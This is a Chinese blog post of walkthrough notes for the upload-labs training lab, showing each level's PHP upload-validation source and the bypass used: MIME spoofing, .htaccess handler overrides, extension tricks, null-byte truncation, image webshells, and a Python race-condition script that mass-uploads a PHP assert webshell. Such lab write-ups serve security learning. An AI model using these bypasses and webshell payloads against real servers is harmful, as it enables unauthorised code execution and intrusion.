upload-labs通關筆記

知己呀 2021-08-15 04:48:18 阅读数:887

本文一共[544]字,预计阅读时长:1分钟~
upload-labs upload labs

upload-labs通關筆記

本篇文章僅僅記錄通關技巧以及文件上傳姿勢,具體過程以及相關基礎概念就不詳細敘述

環境:upload-labs(建議用集成環境壓縮包或者是docker搭建,手工搭建部分pass可能無法通關)

工具:burpsuite 2020.12.1

Pass-01 JS繞過

源碼

function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
alert(errMsg);
return false;
}

開啟代理抓包,發現沒有產生流量就進行驗證了,說明是前端JS驗證

直接通過burp抓包改一下限制就好了,或者直接F12删除js限制相關代碼。

思路:改webshell後綴為允許上傳的.jpg——而後上傳——代理攔截,改.jpg為.php——改完後再發送數據包,即可成功上傳webshell

Pass-02 文件類型繞過

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '文件類型不正確,請重新上傳!';
}
} else {
$msg = UPLOAD_PATH.'文件夾不存在,請手工創建!';
}
}

本關對文件類型進行了限制,依舊可以使用burp進行代理攔截改包

思路:直接上傳webshell——burp代理攔截——改文件類型為允許的image/jpeg,然後關閉攔截將改完的包發出即可成功上傳

Pass-o3 其他可解析類型繞過

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '不允許上傳.asp,.aspx,.php,.jsp後綴文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
}
}

這關對文件後綴進行了黑名單限制

不允許上傳.asp .aspx .php .jsp

思路:通過掃描工具可以得知是服務器是apache,,所以這裏可以利用apache的解析順序,從右到左開始解析文件後綴,如果最右側的擴展名不可識別,就繼續往左判斷,直至遇到可以解析的後綴為止所以如果上傳文件名類似1.php.xxxx,因為後綴xxxx不能解析,所以向左解析php。

這裏先將文件後綴改為.php3,然後上傳成功,結果發現文件路徑不對,抓包發現文件名稱前綴上傳後被改為一個隨機名稱,這裏我們可以通過抓取發送包Repeater獲取文件上傳後的隨機名稱

Pass-04 .htacess文件繞過

#部分源碼
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

上傳.htacess文件繞過:幾乎過濾了所有的後綴名,除了.htaccess

這裏用命令行生成一個.htaccess文件,

rename .htaccess

文件內容如下

SetHandler application/x-httpd-php

先上傳這個.htaccess文件,文件作用是往後所有文件都會解析為php,然後再上傳圖片木馬文件(用kali制作,這裏就不再贅述),發現能成功上傳並解析。

Pass-05 大小寫繞過

#部分源碼
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini")

大小寫繞過:這關依舊有强大的黑名單,並且限制了.htaccess文件的上傳,直接後綴大小寫繞過1.phP,用burp查看上傳後的文件目錄及其名稱。

Pass-06 空格繞過

這關使用大小寫繞過失敗,文件被不允許上傳,查看源碼

#部分源碼$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的點 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //轉換為小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

依舊具有强大的黑名單,並且對後綴進行了大小寫處理,利用Windows系統的文件名特性。文件名最後增加空格,寫成3.php ,上傳後保存在Windows系統上的文件名最後的一個空格會被去掉,實際上保存的文件名就是3.php.

成功

Pass-07 點繞過

這關和Pass-06差不多,直接點繞過

Pass-08 ::$DATA繞過

Windows文件流特性繞過,文件名改成3.php::$DATA,上傳成功後保存的文件名其實是3.php

Pass-09 點+空格+點繞過

原理同Pass-06,上傳文件名後加上點+空格+點,改為3.php. .

Pass-10 雙寫繞過

雙寫文件名繞過,文件名改成3.pphphp

Pass-11 文件路徑%00截斷

本關技巧為00截斷,相關概念請移步csdn查閱相關資料,這裏就不加贅述,只介紹相關思路。
查看源碼

$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上傳出錯!'; } } else{ $msg = "只允許上傳.jpg|.png|.gif類型文件!"; }}

此關為白名單判斷,但$img_path是直接拼接,因此可以利用%00截斷繞過

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

本關使用%00截斷成功繞過,如果以下條件不滿足則可能無法突破

php版本小於5.3.4,php的magic_quotes_gpc為OFF狀態

如上圖所示先將上傳文件名改為3.jpg,burp代理攔截後將save_path改成…/upload/11.php%00,最後保存下來的文件就是3.php,再用蟻劍去連測試成功

Pass-12文件路徑0x00截斷

源碼

$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳失敗"; } } else { $msg = "只允許上傳.jpg|.png|.gif類型文件!"; }}

save_path參數通過POST方式傳遞,還是利用00截斷,因為POST不會像GET對%00進行自動解碼,所以需要自行修改,這裏先將文件抓包改為3.php ,並選中空格

右邊多出來的inspector模塊中編輯hex,改為00.而後點擊Apply changes就可以了

然後發送數據包,查看路徑,蟻劍連接。

Pass-13 圖片馬繞過

查看源碼

function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只讀2字節 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;}$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } }}

這關通過讀文件的前2個字節判斷文件類型,因此直接上傳圖片馬即可。

利用kali制作圖片馬

cat 3.php >>3.jpg

上傳後利用文件包含解析該文件即可

Pass-14 圖片馬 getimagesize()

查看源碼可知這關是用getimagesize函數判斷文件類型,同樣也可用圖片馬

function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; }}$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } }}

Pass-15 圖片馬 exif_imagetype()

查看源碼可知這關是用exif_imagetype()函數判斷文件類型,同樣可用圖片馬

function isImage($filename){ //需要開啟php_exif模塊 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; }}$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } }}

Pass-16 二次渲染繞過

查看源碼

$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允許上傳.jpg|.png|.gif類型文件!"; unlink($upload_file); } }else{ $msg = '上傳出錯!'; }}

判斷了後綴名、content-type,以及利用imagecreatefromgif判斷是否為gif圖片,最後還做了一次二次渲染,改變了圖片中的部分內容。

突破思路:將一個正常顯示的圖片,上傳到服務器。將圖片被渲染後與原始圖片對比,尋找仍然相同的數據塊部分,將Webshell代碼插在該部分,然後上傳。具體實現需要自己編寫Python程序,人工嘗試基本是不可能構造出能繞過渲染函數的圖片webshell的。

Pass-17 條件競爭

$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允許上傳.jpg|.png|.gif類型文件!"; unlink($upload_file); } }else{ $msg = '上傳出錯!'; }}

條件競爭:先將文件上傳到服務器,然後判斷文件後綴是否在白名單裏,如果在則重命名,反之删除,因此我們可以上傳3.php只需要在它删除之前訪問即可。

思路一:這裏可以利用burp的intruder模塊不斷上傳,然後我們不斷的訪問刷新該地址即可。

思路二:首先pip install hackhttp安裝hackhttp模塊,然後運行下面的Python脚本即可。在運行的同時連接webshell。
Python脚本如下

import hackhttpfrom multiprocessing.dummy import Pool as ThreadPooldef upload(lists): hh = hackhttp.hackhttp() raw = """POST /Pass-17/index.php HTTP/1.1Host: 192.168.160.141User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.160.141/Pass-17/index.phpCookie: pass=17Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------6696274297634Content-Length: 341-----------------------------6696274297634Content-Disposition: form-data; name="upload_file"; filename="3.php"Content-Type: application/octet-stream<?php assert($_POST["LandGrey"])?>-----------------------------6696274297634Content-Disposition: form-data; name="submit"上傳-----------------------------6696274297634--""" code, head, html, redirect, log = hh.http('http://192.168.160.141/Pass-17/index.php', raw=raw) print(str(code) + "\r")pool = ThreadPool(10)pool.map(upload, range(10000))pool.close()pool.join()

Pass-18 上傳重命名繞過

查看源碼

//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){ require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已經被上傳,但沒有重命名。'; break; case -1: $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。'; break; case -2: $msg = '上傳失敗,上傳目錄不可寫。'; break; case -3: $msg = '上傳失敗,無法上傳該類型文件。'; break; case -4: $msg = '上傳失敗,上傳的文件過大。'; break; case -5: $msg = '上傳失敗,服務器已經存在相同名稱文件。'; break; case -6: $msg = '文件無法上傳,文件不能複制到目標目錄。'; break; default: $msg = '未知錯誤!'; break; }}//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );.................. /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // check if we need to rename the file if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); }.................. };

利用上傳重命名競爭+Apache解析漏洞,成功繞過
上傳名字為3.php.7Z的文件,快速重複提交該數據包,會讓服務器來不及重命名,從而上傳成功,並不被重命名。

Pass-19 00截斷

查看源碼

$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上傳出錯!'; } }else{ $msg = '禁止保存為該類型文件!'; } } else { $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!'; }}

觀察發現move_uploaded_file()函數中的img_path是由post參數save_name控制的,因此可以在save_name利用00截斷繞過
後面的同Pass-12中一樣。

版权声明:本文为[知己呀]所创,转载请带上原文链接,感谢。 https://gsmany.com/2021/08/20210815044807606T.html